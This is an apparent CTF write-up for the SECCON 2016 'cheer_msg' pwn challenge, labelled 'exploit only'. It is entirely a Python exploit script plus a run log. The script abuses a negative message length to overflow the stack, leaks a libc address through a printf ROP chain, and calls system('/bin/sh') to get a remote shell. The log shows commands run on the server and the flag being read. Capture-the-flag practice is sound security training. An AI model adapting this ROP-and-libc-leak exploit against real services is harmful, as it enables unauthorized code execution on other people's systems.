[exploit] 2016 SecconCTF - cheer_msg writeups (exploit only)

#!/usr/bin/env python
import socket
import struct
import telnetlib
p = lambda x: struct.pack( "<I", x )
up = lambda x: struct.unpack( "<I", x )[0]


host = "localhost"
host = "cheermsg.pwn.seccon.jp"
port = 30527

s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
s.connect( ( host, port ) )

pppr = 0x80487ad
setbuf_got = 0x804A00c
printf_plt = 0x8048430

def u_recv( st ):
    bf = ''
    while st not in bf:
        bf += s.recv( 1 )
    return bf

## stage 1 ##
u_recv( "Message Length >>" )
s.send( "-150\n" )
u_recv( "Message >>" )

pay = p( printf_plt )
pay += p( pppr )
pay += p( 0x804887d ) # \nThank you %s!\nMessage : %s\n
pay += p( setbuf_got )
pay += p( setbuf_got )
pay += p( 0x80485ca ) # main

s.send( pay+"\n" )
data = u_recv( "Message : " )
data = u_recv( "Message : " )
data = data.split( "Thank you " )[1]
leak = data.split( "!\n" )[0]
leak = up( leak[:4] )

libc_base = leak - 0x00067b20    # setbuf offset: 0x67b20
system = libc_base + 0x00040310    # system offset: 0x40310
binsh  = libc_base + 0x16084c    # binsh offset: 0x16084c

## stage 2 ##
u_recv( "Message Length >>" )
s.send( "-150\n" )
u_recv( "Message >>" )

pay = p( system )
pay += p( 0x41414141 )
pay += p( binsh )
s.send( pay+"\n" )
print '#####'

t = telnetlib.Telnet()
t.sock = s
t.interact()

'''
blackcon@bk{~/seccon/exploit/cheer_msg}:./pay.py 
#####

Oops! I forgot to ask your name...
Can you tell me your name?

Name >> 
Thank you sY�AAAALxk�!
Message : 
id
uid=10792 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}
'''